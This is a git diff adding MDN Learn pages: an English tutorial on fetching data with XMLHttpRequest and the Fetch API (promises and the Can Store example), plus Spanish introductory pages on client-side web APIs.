+  <p>Next, we'll set the type of response we are expecting — which is defined by the request's {{domxref("XMLHttpRequest.responseType", "responseType")}} property — as <code>text</code>. This isn't strictly necessary here — XHR returns text by default — but it is a good idea to get into the habit of setting this in case you want to fetch other types of data in the future. Add this next:</p>
+
+  <pre class="brush: js">request.responseType = 'text';</pre>
+ </li>
+ <li>
+  <p>Fetching a resource from the network is an {{glossary("asynchronous")}} operation, meaning that you have to wait for that operation to complete (e.g., the resource is returned from the network) before you can do anything with that response, otherwise, an error will be thrown. XHR allows you to handle this using its {{domxref("XMLHttpRequest.onload", "onload")}} event handler — this is run when the {{event("load")}} event fires (when the response has returned). When this has occurred, the response data will be available in the <code>response</code> property of the XHR request object.</p>
+
+  <p>Add the following below your last addition. You'll see that inside the <code>onload</code> event handler we are setting the <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> of the <code>poemDisplay</code> (the {{htmlelement("pre")}} element) to the value of the {{domxref("XMLHttpRequest.response", "request.response")}} property.</p>
+
+  <pre class="brush: js">request.onload = function() {
+  poemDisplay.textContent = request.response;
+};</pre>
+ </li>
+ <li>
+  <p>The above is all set up for the XHR request — it won't actually run until we tell it to, which is done using the {{domxref("XMLHttpRequest.send","send()")}} method. Add the following below your previous addition to complete the function:</p>
+
+  <pre class="brush: js">request.send();</pre>
+ </li>
+ <li>
+  <p>One problem with the example as it stands is that it won't show any of the poem when it first loads. To fix this, add the following two lines at the bottom of your code (just above the closing <code>&lt;/script&gt;</code> tag) to load verse 1 by default, and make sure the {{htmlelement("select")}} element always shows the correct value:</p>
+
+  <pre class="brush: js">updateDisplay('Verse 1');
+verseChoose.value = 'Verse 1';</pre>
+ </li>
+</ol>
+
+<h3 id="Serving_your_example_from_a_server">Serving your example from a server</h3>
+
+<p>Some browsers (including Chrome) will not run XHR requests if you just run the example from a local file. This is because of security restrictions (for more on web security, read <a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a>).</p>
+
+<p>To get around this, we need to test the example by running it through a local web server. To find out how to do this, read <a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a></p>
+
+<h3 id="Fetch">Fetch</h3>
+
+<p>The Fetch API is basically a modern replacement for XHR; it was introduced in browsers recently to make asynchronous HTTP requests easier to do in JavaScript, both for developers and other APIs that build on top of Fetch.</p>
+
+<p>Let's convert the last example to use Fetch instead.</p>
+
+<ol>
+ <li>
+  <p>Make a copy of your previous finished example directory. (If you didn't work through the previous exercise, create a new directory and inside it make copies of <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> and the four text files — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a>, and <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>.)</p>
+ </li>
+ <li>
+  <p>Inside the <code>updateDisplay()</code> function, find the XHR code:</p>
+
+  <pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', url);
+request.responseType = 'text';
+
+request.onload = function() {
+  poemDisplay.textContent = request.response;
+};
+
+request.send();</pre>
+ </li>
+ <li>
+  <p>Replace all the XHR code with this:</p>
+
+  <pre class="brush: js">fetch(url).then(function(response) {
+  response.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+});</pre>
+ </li>
+ <li>
+  <p>Load the example in your browser (running it through a web server) and it should work just the same as the XHR version, provided you are running a modern browser.</p>
+ </li>
+</ol>
+
+<h4 id="So_what_is_going_on_in_the_Fetch_code">So what is going on in the Fetch code?</h4>
+
+<p>First of all, we invoke the {{domxref("WorkerOrWindowGlobalScope.fetch()","fetch()")}} method, passing it the URL of the resource we want to fetch. This is the modern equivalent of {{domxref("XMLHttpRequest.open","request.open()")}} in XHR, plus you don't need any equivalent to <code>.send()</code>.</p>
+
+<p>After that, you can see the {{jsxref("Promise.then",".then()")}} method chained onto the end of <code>fetch()</code> — this method is a part of {{jsxref("Promise","Promises")}}, a modern JavaScript feature for performing asynchronous operations. <code>fetch()</code> returns a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">promise</a>, which resolves to the response sent back from the server — we use <code>.then()</code> to run some follow-up code after the promise resolves, which is the function we've defined inside it. This is the equivalent of the <code>onload</code> event handler in the XHR version.</p>
+
+<p>This function is automatically given the response from the server as a parameter when the <code>fetch()</code> promise resolves. Inside the function we grab the response and run its {{domxref("Body.text","text()")}} method, which basically returns the response as raw text. This is the equivalent of <code>request.responseType = 'text'</code> in the XHR version.</p>
+
+<p>You'll see that <code>text()</code> also returns a promise, so we chain another <code>.then()</code> onto it, inside of which we define a function to receive the raw text that the <code>text()</code> promise resolves to.</p>
+
+<p>Inside the inner promise's function, we do much the same as we did in the XHR version — set the {{htmlelement("pre")}} element's text content to the text value.</p>
+
+<h3 id="Aside_on_promises">Aside on promises</h3>
+
+<p>Promises are a bit confusing the first time you meet them, but don't worry too much about this for now. You'll get used to them after a while, especially as you learn more about modern JavaScript APIs — most of the newer ones are heavily based on promises.</p>
+
+<p>Let's look at the promise structure from above again to see if we can make some more sense of it:</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  response.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+});</pre>
+
+<p>The first line is saying "fetch the resource located at URL" (<code>fetch(url)</code>) and "then run the specified function when the promise resolves" (<code>.then(function() { ... })</code>). "Resolve" means "finish performing the specified operation at some point in the future". The specified operation, in this case, is to fetch a resource from a specified URL (using an HTTP request), and return the response for us to do something with.</p>
+
+<p>Effectively, the function passed into <code>then()</code> is a chunk of code that won't run immediately. Instead, it will run at some point in the future when the response has been returned. Note that you could also choose to store your promise in a variable and chain {{jsxref("Promise.then",".then()")}} onto that instead. The code below would do the same thing:</p>
+
+<pre class="brush: js">var myFetch = fetch(url);
+
+myFetch.then(function(response) {
+  response.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+});</pre>
+
+<p>Because the <code>fetch()</code> method returns a promise that resolves to the HTTP response, any function you define inside a <code>.then()</code> chained onto the end of it will automatically be given the response as a parameter. You can call the parameter anything you like — the below example would still work:</p>
+
+<pre class="brush: js">fetch(url).then(function(dogBiscuits) {
+  dogBiscuits.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+});</pre>
+
+<p>But it makes more sense to call the parameter something that describes its contents.</p>
+
+<p>Now let's focus just on the function:</p>
+
+<pre class="brush: js">function(response) {
+  response.text().then(function(text) {
+    poemDisplay.textContent = text;
+  });
+}</pre>
+
+<p>The response object has a method {{domxref("Body.text","text()")}} that takes the raw data contained in the response body and turns it into plain text — the format we want it in. It also returns a promise (which resolves to the resulting text string), so here we use another {{jsxref("Promise.then",".then()")}}, inside of which we define another function that dictates what we want to do with that text string. We are just setting the <code><a href="/en-US/docs/Web/API/Node/textContent">textContent</a></code> property of our poem's {{htmlelement("pre")}} element to equal the text string, so this works out pretty simple.</p>
+
+<p>It is also worth noting that you can directly chain multiple promise blocks (<code>.then()</code> blocks, but there are other types too) onto the end of one another, passing the result of each block to the next block as you travel down the chain. This makes promises very powerful.</p>
+
+<p>The following block does the same thing as our original example, but is written in a different style:</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  return response.text()
+}).then(function(text) {
+  poemDisplay.textContent = text;
+});</pre>
+
+<p>Many developers like this style better, as it is flatter and arguably easier to read for longer promise chains — each subsequent promise comes after the previous one, rather than being inside the previous one (which can get unwieldy). The only other difference is that we've had to include a <code><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">return</a></code> statement in front of <code>response.text()</code>, to get it to pass its result on to the next link in the chain.</p>
+
+<h3 id="Which_mechanism_should_you_use">Which mechanism should you use?</h3>
+
+<p>This really depends on what project you are working on. XHR has been around for a long time now and has very good cross-browser support. Fetch and Promises, on the other hand, are a more recent addition to the web platform, although they're supported well across the browser landscape, with the exception of Internet Explorer.</p>
+
+<p>If you need to support older browsers, then an XHR solution might be preferable. If however you are working on a more progressive project and aren't as worried about older browsers, then Fetch could be a good choice.</p>
+
+<p>You should really learn both — Fetch will become more popular as Internet Explorer declines in usage (IE is no longer being developed, in favor of Microsoft's new Edge browser), but you might need XHR for a while yet.</p>
+
+<h2 id="A_more_complex_example">A more complex example</h2>
+
+<p>To round off the article, we'll look at a slightly more complex example that shows some more interesting uses of Fetch. We have created a sample site called The Can Store — it's a fictional supermarket that only sells canned goods. You can find this <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">example live on GitHub</a>, and <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">see the source code</a>.</p>
+
+<p><img alt="A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column." src="https://mdn.mozillademos.org/files/14779/can-store.png" style="display: block; margin: 0 auto;"></p>
+
+<p>By default, the site displays all the products, but you can use the form controls in the left hand column to filter them by category, or search term, or both.</p>
+
+<p>There is quite a lot of complex code that deals with filtering the products by category and search terms, manipulating strings so the data displays correctly in the UI, etc. We won't discuss all of it in the article, but you can find extensive comments in the code (see <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-script.js">can-script.js</a>).</p>
+
+<p>We will however explain the Fetch code.</p>
+
+<p>The first block that uses Fetch can be found at the start of the JavaScript:</p>
+
+<pre class="brush: js">fetch('products.json').then(function(response) {
+  return response.json();
+}).then(function(json) {
+  products = json;
+  initialize();
+}).catch(function(err) {
+  console.log('Fetch problem: ' + err.message);
+});</pre>
+
+<p>The <code>fetch()</code> function returns a <code>promise</code>. If this completes successfully, the function inside the first <code>.then()</code> block contains the <code>response</code> returned from the network.</p>
+
+<p>Inside this function we run {{domxref("Body.json","json()")}} on the response, not {{domxref("Body.text","text()")}}, as we want to return our response as structured JSON data, not plain text.</p>
+
+<p>Next, we chain another <code>.then()</code> onto the end of our first one, the success function that contains the <code>json</code> returned from the <code>response.json()</code> promise. We set this to be the value of the products global object, then run <code>initialize()</code>, which starts the process of displaying all the products in the user interface.</p>
+
+<p>To handle errors, we chain a <code>.catch()</code> block onto the end of the chain. This runs if the promise fails for some reason. Inside it, we include a function that is passed as a parameter, an <code>error</code> object. This <code>error</code> object can be used to report the nature of the error that has occurred, in this case we do it with a simple <code>console.log()</code>.</p>
+
+<p>However, a complete website would handle this error more gracefully by displaying a message on the user's screen and perhaps offering options to remedy the situation, but we don't need anything more than a simple <code>console.log()</code>.</p>
+
+<p>You can test the fail case yourself:</p>
+
+<ol>
+ <li>Make a local copy of the example files (download and unpack <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">the can-store ZIP file</a>).</li>
+ <li>Run the code through a web server (as described above, in {{anch("Serving your example from a server")}}).</li>
+ <li>Modify the path to the file being fetched, to something like 'produc.json' (make sure it is misspelled).</li>
+ <li>Now load the index file in your browser (via <code>localhost:8000</code>) and look in your browser developer console. You'll see a message similar to "Network request for products.json failed with response 404: File not found".</li>
+</ol>
+
+<p>The second Fetch block can be found inside the <code>fetchBlob()</code> function:</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+    return response.blob();
+}).then(function(blob) {
+  // Convert the blob to an object URL — this is basically an temporary internal URL
+  // that points to an object stored inside the browser
+  var objectURL = URL.createObjectURL(blob);
+  // invoke showProduct
+  showProduct(objectURL, product);
+});</pre>
+
+<p>This works in much the same way as the previous one, except that instead of using {{domxref("Body.json","json()")}}, we use {{domxref("Body.blob","blob()")}}. In this case we want to return our response as an image file, and the data format we use for that is <a href="/en-US/docs/Web/API/Blob">Blob</a> (the term is an abbreviation of "Binary Large Object" and can basically be used to represent large file-like objects, such as images or video files).</p>
+
+<p>Once we've successfully received our blob, we create an object URL out of it using {{domxref("URL.createObjectURL()", "createObjectURL()")}}. This returns a temporary internal URL that points to an object referenced inside the browser. These are not very readable, but you can see what one looks like by opening up the Can Store app, Ctrl-/Right-clicking on an image, and selecting the "View image" option (which might vary slightly depending on what browser you are using). The object URL will be visible inside the address bar, and should be something like this:</p>
+
+<pre>blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4</pre>
+
+<h3 id="Challenge_An_XHR_version_of_the_Can_Store">Challenge: An XHR version of the Can Store</h3>
+
+<p>We'd like you to try converting the Fetch version of the app to use XHR as a useful bit of practice. Take a <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">copy of the ZIP file</a>, and try modifying the JavaScript as appropriate.</p>
+
+<p>Some helpful hints:</p>
+
+<ul>
+ <li>You might find the {{domxref("XMLHttpRequest")}} reference material useful.</li>
+ <li>You will basically need to use the same pattern as you saw earlier in the <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">XHR-basic.html</a> example.</li>
+ <li>You will, however, need to add the error handling we showed you in the Fetch version of the Can Store:
+  <ul>
+   <li>The response is found in <code>request.response</code> after the <code>load</code> event has fired, not in a promise <code>then()</code>.</li>
+   <li>About the best equivalent to Fetch's <code>response.ok</code> in XHR is to check whether {{domxref("XMLHttpRequest.status","request.status")}} is equal to 200, or if {{domxref("XMLHttpRequest.readyState","request.readyState")}} is equal to 4.</li>
+   <li>The properties for getting the status and status message are the same, but they are found on the <code>request</code> (XHR) object, not the <code>response</code> object.</li>
+  </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: If you have trouble with this, feel free to check your code against the finished version on GitHub (<a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store-xhr/can-script.js">see the source here</a>, and also <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store-xhr/">see it running live</a>).</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article shows how to start working with both XHR and Fetch to fetch data from the server.</p>
+
+<h2 id="See_also">See also</h2>
+
+<p>There are however a lot of different subjects discussed in this article, which has only really scratched the surface. For a lot more detail on these subjects, try the following articles:</p>
+
+<ul>
+ <li><a href="/en-US/docs/AJAX/Getting_Started">Ajax — Getting started</a></li>
+ <li><a href="/en-US/docs/Web/API/Fetch_API/Using_Fetch">Using Fetch</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Overview">An overview of HTTP</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side">Server-side website programming</a></li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs")}}</div>
+
+<div>
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introduction to web APIs</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulating documents</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Fetching data from the server</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Third party APIs</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Drawing graphics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">Video and audio APIs</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Client-side storage</a></li>
+</ul>
+</div>
diff --git a/files/es/learn/javascript/client-side_web_apis/index.html b/files/es/learn/javascript/client-side_web_apis/index.html
new file mode 100644
index 0000000000..731edea2a3
--- /dev/null
+++ b/files/es/learn/javascript/client-side_web_apis/index.html
@@ -0,0 +1,53 @@
+---
+title: Client-side web APIs
+slug: Learn/JavaScript/Client-side_web_APIs
+tags:
+  - API
+  - Articles
+  - Beginner
+  - CodingScripting
+  - DOM
+  - Graphics
+  - JavaScript
+  - Landing
+  - Learn
+  - Media
+  - Module
+  - NeedsTranslation
+  - TopicStub
+  - WebAPI
+  - data
+translation_of: Learn/JavaScript/Client-side_web_APIs
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Cuando se escribe JavaScript para sitios web o aplicaciones del lado del cliente, no pasará mucho tiempo antes de que comience a usar APIs ("Application Programming Interfaces"). Estas son interfaces para manipular diferentes aspectos del navegador y el sistema operativo sobre el cuál se esta ejecutando, o incluso datos de otros sitios web o servicios. En este módulo, vamos a aprender que son las APIs  y cómo utilizar algunas de las API más comunes que encuentran al momento de desarrollar. </p>
+
+<h2 id="Requisitos">Requisitos</h2>
+
+<p>Para aprovechar al máximo este módulo, debería haber trabajado con los módulos anteriores de JavaScript (<a href="/en-US/docs/Learn/JavaScript/First_steps">Primeros Pasos</a>, <a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Building_blocks">Bloques de construcción</a>, y <a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Objects">Objetos en JavaScript</a>). De todos modos, esos módulos involucran el uso de varias APIs simples, ya que es dificil escribir ejemplos en Javascript del lado del cliente sin dar uso de ellos! Para este tutorial, asumiremos que se tiene conocimiento basico sobre JavaScript  y exploraremos las API web mas comunes con un poco más de detalle.</p>
+
+<p>Conocimiento basico de <a href="/en-US/docs/Learn/HTML">HTML</a> y <a href="/en-US/docs/Learn/CSS">CSS</a> tambien seria util.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si está trabajando en un dispositivo en el que no tiene la capacidad de crear sus propios archivos, puede probar (la mayoría de) los ejemplos de código en un programa de codificación en línea como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Introducción a web APIs</a></dt>
+ <dd>En primer lugar, comenzaremos observando las API de alto nivel: ¿qué son, cómo funcionan, cómo las utilizan en su código y cómo están estructuradas? También veremos cuáles son las diferentes principales clases de APIs y qué tipo de usos tienen.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulacion de documentos</a></dt>
+ <dd>Al escribir páginas web y aplicaciones, una de las cosas más comunes que querrás hacer es manipular los documentos web de alguna manera. Esto generalmente se hace usando el Document Object Model (DOM), un conjunto de APIs para controlar el HTML y la información de sus estilos que hace un uso intensivo del objeto  {{domxref("Document")}} . En este artículo, veremos cómo usar el DOM en detalle, junto con algunas otras API que pueden alterar su entorno de maneras interesantes.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Obteniendo data desde el servidor</a></dt>
+ <dd>Otra tarea frecuente en las en las aplicaciones y los sitios web modernos, es recuperar los datos individuales de un elemento del seridor para actualizar solo una seccion de la pagina sin tener que cargar una pagina web completamente nueva. Este detalle, aparentemente pequeño, ha tenido un gran impacto en el rendimiento y el comportamiento de los sitios, En este artículo, explicaremos el concepto y veremos las tecnologías que hacen esto posible, como {{domxref("XMLHttpRequest")}} y el <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">APIs de terceros</a></dt>
+ <dd>Las APIs que hemos cubierto hasta ahora están integradas en el navegador, pero no todas las APIs lo estan. Muchos grandes sitios web y servicios tales como Google Maps, Twitter, Facebook, PayPal, etc. proporcionan APIs que permiten a los desarrolladores hacer uso de sus datos (p.ej. mostrando tu actividad en twitter dentro de tu blog) o sus servicios (p.ej. mostrar una ubicacion personalizada porGoogle Maps en tu sitio, o usar el inicio de sesión de Facebook para que inicien sesión tus usuarios). Este artículo analiza la diferencia entre las API del navegador y las API de terceros y muestra algunos usos típicos de este último.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Dibujar gráficos</a></dt>
+ <dd>El navegador contiene algunas herramientas de programación poderosas para gráficos, desde el lenguaje de Gráficos de Vectores Escalables (<a href="/en-US/docs/Web/SVG">SVG</a>), hasta APIs para dibujar elementos HTML {{htmlelement("canvas")}}, (ver <a href="/en-US/docs/Web/API/Canvas_API">El API Canvas</a> y <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a>). Este articulo provee una introducción al Canvas API, y además recursos que te van a permirir aprender más.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs">APIs de audio y video</a></dt>
+ <dd>HTML5 for embedding rich media in documents — {{htmlelement("video")}} and {{htmlelement("audio")}} — which in turn come with their own APIs for controlling playback, seeking, etc. This article shows you how to do common tasks such as creating custom playback controls.</dd>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Client-side_storage">Almacenamiento del lado del Cliente</a></dt>
+ <dd>Modernos navegadores web implementan un número de diferente de tecnologías que te permiten almacenar datos relacionados a sitios y recuperarlos cuando sea necesario permitiendote almacenarlos por mucho tiempo, almacenar sitios fuera de linea, y más. Este articulo explica aspectos los principios de como trabaja.</dd>
+</dl>
diff --git a/files/es/learn/javascript/client-side_web_apis/introducción/index.html b/files/es/learn/javascript/client-side_web_apis/introducción/index.html
new file mode 100644
index 0000000000..fc73d4ebc9
--- /dev/null
+++ b/files/es/learn/javascript/client-side_web_apis/introducción/index.html
@@ -0,0 +1,274 @@
+---
+title: Introducción a las APIs web
+slug: Learn/JavaScript/Client-side_web_APIs/Introducción
+translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/JavaScript/Client-side_web_APIs/Manipulating_documents", "Learn/JavaScript/Client-side_web_APIs")}}</div>
+
+<p class="summary">En primer lugar empezaremos echando un vistazo a las APIS desde un nivel superior — ¿qué son, cómo funcionan, cómo usarlas en el código, y cómo están estructuradas?. También echaremos un vistazo a cuáles son los principales tipos de APIs, y para qué se usan.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre requisitos:</th>
+   <td>Conocimientos básicos de informática, principios básicos de <a href="/es/docs/Learn/HTML">HTML</a>, <a href="/es/docs/Learn/CSS">CSS</a> y JavaScript (ver <a href="/es/docs/Learn/JavaScript/First_steps">primeros pasos</a>, <a href="/es/docs/Learn/JavaScript/Building_blocks">bloques de construcción</a>, <a href="/es/docs/Learn/JavaScript/Objects">objetos JavaScript</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con las APIs, saber qué pueden hacer y cómo usarlas en tu código.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_son_las_APIs">¿Qué son las APIs?</h2>
+
+<p>Las Interfaces de Programacion de Aplicaciones (APIs por sus siglas en inglés) son construcciones disponibles en los lenguajes de programación que permiten a los desarrolladores crear funcionalidades complejas de una manera simple. Estas abstraen el código más complejo para proveer una sintaxis más fácil de usar en su lugar.</p>
+
+<p>Como ejemplo, piensa en el suministro de electricidad de tu casa, apartamento, o cualquier otro edificio. Si quieres usar un electrodoméstico, simplemente lo conectas en un enchufe y funciona. No intentas conectarlo directamente a la fuente de alimentación — hacerlo sería muy ineficiente y, si no eres electricista, dificil y peligroso.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14317/plug-socket.png" style="display: block; height: 472px; margin: 0px auto; width: 700px;"></p>
+
+<p><em>Fuente de la imagen: <a href="https://www.flickr.com/photos/easy-pics/9518184890/in/photostream/lightbox/">Overloaded plug socket</a> por <a href="https://www.flickr.com/photos/easy-pics/">The Clear Communication People</a>, en Flickr.</em></p>
+
+<p>De la misma manera, si quisieras programar gráficos 3D, sería mucho más facil hacerlo usando una API escrita en un lenguaje de alto nivel como JavaScript o Python, en lugar de intentar escribir código de bajo nivel (por ejemplo: C o C++) que controle directamente la GPU del equipo u otras funciones gráficas.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Consulta también la <a href="/es/docs/Glossary/API">entrada API en el glosario</a> para una descripción más detallada.</p>
+</div>
+
+<h3 id="APIs_en_JavaScript_del_lado_cliente">APIs en JavaScript del lado cliente</h3>
+
+<p>JavaScript del lado cliente, particularmente, tiene muchas APIs disponibles — estas <span id="result_box" lang="es"><span>no son parte del lenguaje en sí, sino que están construidas sobre el núcleo de este lenguaje de programación, proporcionándote superpoderes adicionales para usar en tu código.</span> <span>Por lo general, se dividen en dos categorías:</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span><strong>Las APIs de navegador</strong> están integradas en tu navegador web y pueden exponer datos del navegador y del entorno informático circundante y hacer cosas complejas y útiles con él.</span> <span>Por ejemplo, la API de Geolocalización proporciona algunas construcciones simples de JavaScript para obtener datos de ubicación con los que, por ejemplo, trazar tu ubicación en un mapa de Google.</span> Realmente, el navegador está haciendo uso<span> de códigos de bajo nivel complejos en segundo plano (por ejemplo, C++) para comunicarse con el hardware GPS del dispositivo (o lo que esté disponible para determinar los datos de posición), recuperar datos de posición y devolverlos al entorno del navegador para su uso</span> <span>en tu código.</span> <span>Pero una vez más, la API se encarga de abstraer esta complejidad.</span></span></li>
+ <li><strong>Las APIs de terceros </strong>no están incluídas por defecto en el navegador, y por lo general es necesario obtener el código e información desde algún lugar de la Web. Por ejemplo, <a href="https://dev.twitter.com/overview/documentation">la API de Twitter</a> permite hacer cosas como mostrar tus últimos tweets en un sitio web. Proporciona un conjunto especial de construcciones que puedes usar para consultar el servicio de Twitter y devolver información específica.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13508/browser.png" style="display: block; height: 511px; margin: 0px auto; width: 815px;"></p>
+
+<h3 id="Relacion_entre_JavaScript_APIs_y_otras_herramientas_de_JavaScript">Relacion entre JavaScript, APIs, y otras herramientas de JavaScript</h3>
+
+<p><span id="result_box" lang="es"><span>Anteriormente hablamos sobre qué son las APIs de JavaScript del lado cliente y cómo se relacionan con este lenguaje.</span> <span>Recapitulemos ahora para dejarlo claro, y veamos también dónde encajan otras herramientas de JavaScript:</span></span></p>
+
+<ul>
+ <li>JavaScript — Un lenguaje de scripts de alto nivel incorporado en los navegadores que permite implementar interactividad en páginas web / apps. <span id="result_box" lang="es"><span>Ten en cuenta que JavaScript también está disponible en otros entornos de programación, como <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Node</a>.</span></span></li>
+ <li>APIs de navegador — Construcciones integradas en el navegador creadas con el lenguaje JavaScript y que permiten implementar funcionalidad mucho más fácilmente.</li>
+ <li>APIs de terceros — <span id="result_box" lang="es"><span>Construcciones integradas en plataformas de terceros (por ejemplo Twitter, Facebook) que permiten usar algunas de las funcionalidades de esa plataforma en tus páginas web (como por ejemplo mostrar tus últimos Tweets en tu página web).</span></span></li>
+ <li>Librerías JavaScript — Por lo general uno o más archivos JavaScript que contienen <a href="/es/docs/Learn/JavaScript/Building_blocks/Functions#Custom_functions">funciones personalizadas</a> que puedes añadir a tu página web para acelerar o habilitar la escritura de funcionalidades comunes. Por ejemplo jQuery, Mootools y React.</li>
+ <li>Frameworks JavaScript — <span id="result_box" lang="es"><span>El siguiente paso a las librerías, los frameworks JavaScript (como Angular y Ember) suelen ser paquetes de HTML, CSS, JavaScript y otras tecnologías que se instalan y luego se usan para escribir una aplicación web completa desde cero.</span> <span>La diferencia clave entre una librería y un framework es la "Inversión del control".</span> <span>Cuando se llama a un método desde una librería, el desarrollador tiene el control.</span> <span>Con un framework el control se invierte: el framework llama al código del desarrollador.</span></span></li>
+</ul>
+
+<h2 id="¿Qué_pueden_hacer_las_APIs"><span class="short_text" id="result_box" lang="es"><span>¿Qué pueden hacer las APIs?</span></span></h2>
+
+<p><span id="result_box" lang="es"><span>Hay una gran cantidad de APIs disponibles en los navegadores modernos que te permiten hacer una gran variedad de cosas en tu código.</span> <span>Puedes verlo echando un vistazo al</span></span> <a href="https://developer.mozilla.org/es/docs/Web/API">índice de APIs de MDN</a>.</p>
+
+<h3 id="APIs_de_navegador_más_comunes">APIs de navegador más comunes</h3>
+
+<p><span id="result_box" lang="es"><span>En particular, las categorías más comunes de APIs de navegador más usadas (y que trataremos con mayor detalle en este módulo) son:</span></span></p>
+
+<ul>
+ <li><strong>APIs para manipular documentos</strong> cargados en el navegador. El ejemplo más obvio es la <a href="https://developer.mozilla.org/es/docs/Web/API/Document_Object_Model">API DOM (Document Object Model)</a>, que permite manipular HTML y CSS — crear, eliminar y modificar HTML, aplicar estilos dinámicos a una página, etc. Cada vez que se muestra una ventana emergente en una página, o un nuevo contenido, por ejemplo, es el DOM en acción. Más información sobre este tipo de APIs en <a href="/es/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Manipulando documentos</a>.</li>
